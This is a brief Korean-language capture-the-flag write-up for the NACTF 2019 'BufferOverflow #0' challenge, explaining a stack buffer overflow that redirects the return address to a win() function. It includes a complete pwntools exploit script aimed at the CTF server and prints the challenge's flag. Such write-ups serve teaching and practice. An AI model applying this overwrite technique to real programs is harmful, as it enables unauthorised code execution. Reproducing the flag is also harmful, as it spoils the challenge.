NACTF 2019 - BufferOverflow #0

32비트 바이너리에 partial RELRO만 걸려있다.

 

바이너리 안에 flag를 읽어주는 win()함수가 있다.

 

그리고 vuln()함수에서 BOF가 발생하므로

ret를 win()의 주소로 덮어주면 된다.

 

exploit code

from pwn import *
 
#p = process('./bufover-0')
p = remote("shell.2019.nactf.com",31475)
win = 0x080491C2
 
pay = 'a'*0x18
pay += 'b'*4
pay += p32(win)
p.sendline(pay)
 
p.interactive()

 

아주 기초적인 BOF문제.

 

flag: nactf{0v3rfl0w_th4at_buff3r_18ghKusB}